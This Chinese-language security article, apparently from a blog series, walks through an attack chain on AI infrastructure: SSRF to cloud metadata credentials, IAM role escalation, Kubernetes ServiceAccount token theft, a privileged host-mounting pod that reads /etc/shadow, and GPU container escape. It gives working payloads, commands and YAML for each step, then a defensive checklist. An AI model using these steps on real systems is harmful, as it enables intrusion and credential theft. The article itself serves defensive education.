前几篇的攻击落在模型、Agent、RAG 或供应链上。这篇要写的是更底层的场景:攻击者根本不碰模型,直接从基础设施的配置错误拿走整个环境。 一个 SSRF 拿到云账号凭证、一条 IAM 链提权到管理员、一个 Pod 里的 ServiceAccount Token 直接调 K8s API,最后从 GPU 容器逃逸到宿主机。每一步用的都是已有的功能或默认配置,不是漏洞利用。

AI 系统特别容易命中这些问题,原因是它天然把三类高危组件绑在一起:有出站 HTTP 请求能力(URL 抓取、插件调用)、跑在云上且需要 IAM 角色访问存储和模型 API、部署在 K8s 里并挂载 GPU。三者叠加后,攻击面不是加法,是乘法。

一、从 SSRF 到云凭证

AI 服务几乎都有出站 HTTP 能力:Agent 的 web_fetch 工具、RAG 的 URL 入库、Webhook 回调、OpenAPI 插件的远端 schema 加载。攻击者把这些功能的 URL 参数指向云元数据端点,就能拿到当前实例的 IAM 临时凭证。

云厂商的元数据端点

云厂商 端点 版本 鉴权要求
AWS http://169.254.169.254/latest/meta-data/ IMDSv1(默认开放) 无
AWS 同上 IMDSv2 PUT + Token header
阿里云 http://100.100.100.200/latest/meta-data/ v1 无
GCP http://metadata.google.internal/computeMetadata/v1/ v1 Metadata-Flavor: Google header
Azure http://169.254.169.254/metadata/instance?api-version=2021-02-01 — Metadata: true header

IMDSv1 是重灾区:不需要特殊 header,GET 即可。如果目标服务部署在 AWS EC2 上且安全组没拦元数据端点,一条 SSRF 就够了。

场景:一个企业内部 RAG 系统,POST /api/knowledge/import 接受 URL 参数并抓取内容入库。抓取逻辑是 Python requests.get(url),没有做内网地址过滤。攻击者构造:

1
2
3
4
5
POST /api/knowledge/import HTTP/1.1
Host: 10.0.8.21:8080
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

响应进入 RAG 的切片管道,返回一个包含角色名的列表:

1
["ai-inference-role"]

下一步把角色名拼进路径,拿凭证本体:

1
2
3
4
5
POST /api/knowledge/import HTTP/1.1
Host: 10.0.8.21:8080
Content-Type: application/json

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ai-inference-role"}
1
2
3
4
5
6
7
{
"Code": "Success",
"AccessKeyId": "ASIA3FK7XQJ2MKPNETVQ",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJGMEQCIH...",
"Expiration": "2026-10-04T18:30:00Z"
}

这三个值组成一组临时 STS 凭证,有效期六小时。有效期内,攻击者在任何有网的地方都能以这个角色调用 AWS API。

检测困难的原因

传统 SSRF 的目标是内网服务,流量模式是「外部 IP → 内部 IP」。云元数据 SSRF 的目标是 169.254.169.254,这个地址不走网关,云平台侧没有访问日志。防守方看到的是:一个外部用户发起了一个正常的 URL 导入请求,RAG 抓取了一个不可路由的 link-local 地址,然后无后续。如果没有在应用层对出站 URL 做过滤和审计,这个请求完全静默。

防御不是加 WAF 规则——攻击者可以用重定向、DNS Rebinding 或 IPv6 映射绕过。结构性修复是在抓取代码里做 URL 解析后白名单:只允许 https:// 协议 + 外部域名,拒绝所有私网/保留 IP 段(169.254.0.0/16、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、100.64.0.0/10、fd00::/8)。再在基础设施层启用 IMDSv2 并设 HttpTokens=required、HttpPutResponseHopLimit=1,使容器内的请求无法到达元数据端点。

AI 基础设施攻击链全景

二、IAM 角色链提升

拿到一组临时凭证后,第一步是搞清楚这个角色能做什么。sts get-caller-identity 不需要任何权限:

1
2
3
4
AWS_ACCESS_KEY_ID=ASIA3FK7XQJ2MKPNETVQ \
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJGMEQCIH... \
aws sts get-caller-identity --output json
1
2
3
4
5
{
"UserId": "AROA3FK7XQJ2MB7XR2VQI:ai-inference-role",
"Account": "847362915401",
"Arn": "arn:aws:sts::847362915401:assumed-role/ai-inference-role/i-0a1b2c3d4e5f"
}

拿到 Account ID 和角色名。下一步枚举这个角色的实际权限:

1
2
3
4
5
6
aws iam list-attached-role-policies --role-name ai-inference-role

python3 enumerate-iam.py \
--access-key ASIA3FK7XQJ2MKPNETVQ \
--secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \
--session-token "IQoJb3JpZ2luX2VjEJj..."

枚举结果可能长这样:

1
2
3
4
5
6
7
-- S3 --
s3:ListBucket ✅ (bucket: ai-model-store)
s3:GetObject ✅ (bucket: ai-model-store)
-- SQS --
sqs:SendMessage ✅ (queue: ai-inference-jobs)
-- STS --
sts:AssumeRole ✅ (role: eks-admin-role)

关键发现是 sts:AssumeRole 被授到了一个更高权限的角色上。AI 推理服务经常需要临时切换角色去拉模型权重或调其他服务,运维就给了它一个 AssumeRole 信任关系——但目标角色可能是管理员级别的。

利用:

1
2
3
aws sts assume-role \
--role-arn arn:aws:iam::847362915401:role/eks-admin-role \
--role-session-name audit-check
1
2
3
4
5
6
7
8
9
10
11
{
"Credentials": {
"AccessKeyId": "ASIA3FK7XQJ2MQT7WZQ2A",
"SecretAccessKey": "kP8xRnQmZ5vL3jH9dW2eF4gT7yU1iO6pA0sD9fG",
"SessionToken": "IQoJb3JpZ2luX2VjEJj//////////wEaCXVzLWVhc3QtMSJHMEUCIQ...",
"Expiration": "2026-10-04T19:30:00Z"
},
"AssumedRoleUser": {
"Arn": "arn:aws:sts::847362915401:assumed-role/eks-admin-role/audit-check"
}
}

用这组凭证再次 get-caller-identity,确认角色已切换到 eks-admin-role。这个角色如果绑定了 eks:DescribeCluster + eks:ListClusters,就能直接拿到 EKS 集群的 kubeconfig:

1
2
3
4
aws eks list-clusters --region us-east-1
aws eks describe-cluster --name ai-prod-cluster --region us-east-1 \
--query "cluster.endpoint"
aws eks update-kubeconfig --name ai-prod-cluster --region us-east-1

至此,攻击者从一次 SSRF 开始,通过两条 IAM 链(实例角色 → AssumeRole → 集群管理角色),拿到了 K8s 集群的管理员 kubeconfig。全程没有利用任何软件漏洞,每一步都是合法 API 调用。

三、K8s ServiceAccount Token 窃取

即使攻击者没有走到 IAM 链那一步,只要能在任何一个 Pod 里执行命令(比如通过 Agent 的代码执行工具、MCP 服务器的 SSRF 回连、或一次容器内 RCE),ServiceAccount Token 就挂在固定路径上:

1
cat /var/run/secrets/kubernetes.io/serviceaccount/token
1
eyJhbGciOiJSUzI1NiIsImtpZCI6Ik1UWkVOelF3TnpFMk9USXpOREE1TlRRd05qYzBNRGM0TlRneU1EWXpOREF4Tnprd056UTBNUSJ9...

同时拿到 CA 证书和 Namespace:

1
2
3
4
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CA=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}"

直接调 API,列出当前 Namespace 的 Pod:

1
2
3
curl -s --cacert "$CA" \
-H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/pods"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"kind": "PodList",
"items": [
{
"metadata": {"name": "inference-7d8f9-abcde", "namespace": "ai-serving"},
"spec": {
"containers": [
{"name": "model", "image": "registry.corp.internal/ai/inference:v2.4.1"}
],
"serviceAccountName": "inference-sa"
}
},
{
"metadata": {"name": "vector-db-0", "namespace": "ai-serving"},
"spec": {
"containers": [
{"name": "milvus", "image": "milvusdb/milvus:v2.4.4"}
],
"serviceAccountName": "default"
}
}
]
}

如果这个 SA 的 RBAC 绑定里有 get secrets,直接读:

1
2
3
curl -s --cacert "$CA" \
-H "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/namespaces/$NS/secrets"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"kind": "SecretList",
"items": [
{
"metadata": {"name": "openai-api-key"},
"type": "Opaque",
"data": {"key": "c2stYmxpYmIxMjM0NTY3ODkwYWJjZGVmZ2hpams="}
},
{
"metadata": {"name": "registry-credentials"},
"type": "kubernetes.io/dockerconfigjson",
"data": {".dockerconfigjson": "eyJhdXRocyI6..."}
}
]
}
1
2
echo "c2stYmxpYmIxMjM0NTY3ODkwYWJjZGVmZ2hpams=" | base64 -d
# sk-blibb1234567890abcdefghijk

一个 OpenAI API key 和私有镜像仓库凭证同时到手。这是最低成本的横向移动:不需要漏洞,K8s 的设计就是把凭证放在 Pod 文件系统里的。

四、RBAC 过度授权与 Sidecar 共享卷

RBAC:最常见的过度授权模式

很多 AI 团队给推理服务的 ServiceAccount 绑了 cluster-admin,理由是「要读 ConfigMap、写 PV、拉镜像,懒得逐个配」。这等于把集群的 root 钥匙挂在了每一个 Pod 里。

典型的危险 RBAC:

1
2
3
4
5
6
7
8
9
10
11
12
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: inference-admin-binding
subjects:
- kind: ServiceAccount
name: inference-sa
namespace: ai-serving
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io

攻击者拿到这个 SA Token 后,创建一个特权 Pod 把宿主机根文件系统挂进来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
apiVersion: v1
kind: Pod
metadata:
name: debug-shell
namespace: ai-serving
spec:
serviceAccountName: inference-sa
hostPID: true
containers:
- name: shell
image: busybox:1.36
command: ["sleep", "3600"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
readOnly: false
volumes:
- name: host-root
hostPath:
path: /
type: Directory
1
2
3
4
curl -s --cacert "$CA" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" \
-X POST "$APISERVER/api/v1/namespaces/ai-serving/pods" \
--data-binary @debug-shell.yaml

等 Pod 跑起来后 exec 进去读宿主机的 /etc/shadow:

1
2
curl -s --cacert "$CA" -H "Authorization: Bearer $TOKEN" \
-X POST "$APISERVER/api/v1/namespaces/ai-serving/pods/debug-shell/exec?command=cat&command=/host/etc/shadow&container=shell"

从这一刻起,攻击者持有宿主机 root 权限。Node 上所有 Pod 的环境变量(包含数据库连接串、API Key)、所有 SA Token、所有挂载的 Secret 都能读。

Sidecar 共享卷:间接渗透

不是每个 Pod 都给了 cluster-admin。更常见的场景是:Pod 里跑了两个容器——主应用和 Sidecar(日志采集、监控代理、Istio Envoy),它们共享一个 emptyDir 卷:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
spec:
containers:
- name: inference
image: registry.corp.internal/ai/inference:v2.4.1
volumeMounts:
- name: shared-data
mountPath: /app/data
- name: log-sidecar
image: registry.corp.internal/infra/log-agent:v1.2
volumeMounts:
- name: shared-data
mountPath: /var/log/app
volumes:
- name: shared-data
emptyDir: {}

如果 Sidecar 容器被攻破(第三方镜像有漏洞、版本过老、配置不当),攻击者在 Sidecar 里可以读写 /var/log/app,即 /app/data——主容器的工作目录。如果这个目录里有模型缓存、session 文件或临时写入的 API 调用日志,攻击者不需要碰主容器就能拿到数据。

反过来也成立:如果主容器的模型加载逻辑会从共享卷里热更新文件(例如定时加载新的 LoRA 适配器),攻击者在 Sidecar 里写一个恶意 .pt 到这个目录,下一次热加载就触发反序列化 RCE——010 写的供应链投毒在这里变成了基础设施层的攻击路径。

RBAC 过度授权的攻击路径

五、GPU 容器逃逸:CVE-2025-23266

AI 推理容器和普通容器的区别在于 GPU 设备的挂载。K8s 里 GPU Pod 由 NVIDIA GPU Operator 管理,底层用 NVIDIA Container Toolkit 在容器创建时把 /dev/nvidia* 设备和驱动库注入容器。这个注入过程通过 OCI hook 机制实现——createContainer 和 prestart 钩子在宿主机上以 root 权限执行。

CVE-2025-23266(CVSS 9.0 Critical,AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)出在这个 hook 链上:攻击者如果能控制容器的 OCI spec 中传给 hook 的环境变量或参数,就能让 hook 在宿主机上执行任意命令。

利用条件

这个漏洞不是从容器内直接触发——需要攻击者能影响容器创建时的配置。在 K8s 场景里,等价于:

  1. 拥有某个 Namespace 内 create pods 的 RBAC 权限
  2. 节点安装了受影响版本的 NVIDIA Container Toolkit(≤ 1.17.7)或 GPU Operator(≤ 25.3.0)
  3. 创建的 Pod 调度到有 GPU 的节点上

上一节写的 cluster-admin 或 create pods 过度授权,正好满足条件 1。

修复状态

项目 受影响版本 修复版本
NVIDIA Container Toolkit ≤ 1.17.7 ≥ 1.17.8
NVIDIA GPU Operator ≤ 25.3.0 ≥ 25.3.1

截至写作时的最新稳定版是 Container Toolkit 1.20.1(2026-09-19 发布),修复已合入超过一年。但大量集群的 GPU Operator 是部署时锁定的版本,之后没有跟进升级。

怎么检查自己是否受影响

在 GPU 节点上执行:

1
2
3
4
5
6
nvidia-ctk --version
# 输出 ≤ 1.17.7 → 受影响

kubectl get pods -n gpu-operator -l app=nvidia-operator-validator \
-o jsonpath='{.items[0].spec.containers[0].image}'
# 镜像 tag 对应的 Operator 版本 ≤ 25.3.0 → 受影响

攻击在整体链路中的位置

回到这篇文章的攻击链:SSRF → IAM 凭证 → AssumeRole 提权 → EKS kubeconfig → create pods → 构造恶意 Pod → NVIDIA Container Toolkit hook 在宿主机以 root 执行。最后一步拿到了节点级别的 root shell,不只是容器内权限。 有了宿主机 root,可以读取该节点上所有 Pod 的内存、网络流量、文件系统——包括其他 Namespace 里的数据库 Pod 和 Sidecar。

即使整条 IAM 链没有打通,攻击者只要通过任何手段拿到一个 create pods 权限的 SA Token(上一节的 Token 窃取路径),再叠加这个 CVE,就能从容器内走到宿主机。这两条路径是独立的,防御必须同时覆盖。

汇总:攻击链各环节的比较

环节 需要的前提 利用的机制 拿到的权限 检测难度
SSRF → 元数据 出站 HTTP + 无 URL 过滤 云元数据 API 实例角色临时凭证 高(无网络层日志)
IAM AssumeRole 枚举到信任关系 权限设计错误 更高权限角色 中(CloudTrail 有记录)
K8s SA Token Pod 内代码执行 K8s 设计(Token 挂载) SA 对应的 RBAC 权限 低(文件读取无告警)
RBAC 提权 SA 有 create pods RBAC 过度授权 集群内任意 Pod 操作 中(API 调用可审计)
GPU 容器逃逸 create pods + 旧版 Toolkit OCI hook 注入 宿主机 root 低(hook 执行无 K8s 告警)

防御清单

SSRF

  • 出站 URL 在代码层做协议 + 目标地址白名单,解析后拒绝所有 RFC 1918 / link-local / ULA 地址段。
  • AWS EC2 启用 IMDSv2(HttpTokens=required),HttpPutResponseHopLimit=1,容器内请求无法到达元数据端点。
  • GCP / Azure 关闭不需要的元数据字段,或通过网络策略限制。

IAM

  • 最小权限:AI 推理角色的策略只包含它实际需要的 S3 读、SQS 收发。禁止 *。
  • 审计所有 sts:AssumeRole 信任关系:用 IAM Access Analyzer 找出外部可 assume 的角色,确认每一对关系都有业务理由。
  • 不要把高权限角色(如 EKS 管理角色)信任给低权限角色。用单独的跳板角色 + 临时提升流程替代。

K8s

  • SA Token 自动挂载关闭:不需要调 K8s API 的 Pod 加 automountServiceAccountToken: false。这是最高性价比的单条配置。
  • RBAC 按 Namespace 拆分,只用 Role 不用 ClusterRole(除非确实需要跨 Namespace)。禁止 cluster-admin 绑定给 ServiceAccount。
  • Pod Security Standards 限制 privileged: true、hostPID: true、hostPath 挂载。
  • NetworkPolicy 限制 Pod 到 K8s API Server 的访问(除非确实需要)。

GPU / Container Toolkit

  • 升级 NVIDIA Container Toolkit ≥ 1.17.8、GPU Operator ≥ 25.3.1(CVE-2025-23266)。
  • 在 CI 里加一条版本检查:GPU Operator 部署清单中的镜像版本低于修复版本则构建失败。
  • 用 CDI 模式替代 legacy 模式(NVIDIA 推荐),减少 hook 攻击面。

Sidecar

  • Sidecar 镜像和主镜像一样走漏洞扫描和版本管理。
  • 共享卷内不放敏感文件:session 数据、临时 API 日志、模型缓存用独立卷或 PVC,不与 Sidecar 共享。
  • 评估是否真的需要 Sidecar——很多日志采集已经可以用 DaemonSet + hostPath 替代。

检测

  • CloudTrail 里监控 AssumeRole 事件的异常模式:同一凭证短时间内 assume 多个不同角色。
  • K8s API 审计日志监控:从 SA Token 发起的 create pods(特别是带 privileged securityContext 的)、get secrets、exec。
  • 在 GPU 节点上监控 nvidia-container-runtime-hook 的执行参数是否包含非预期的命令或路径。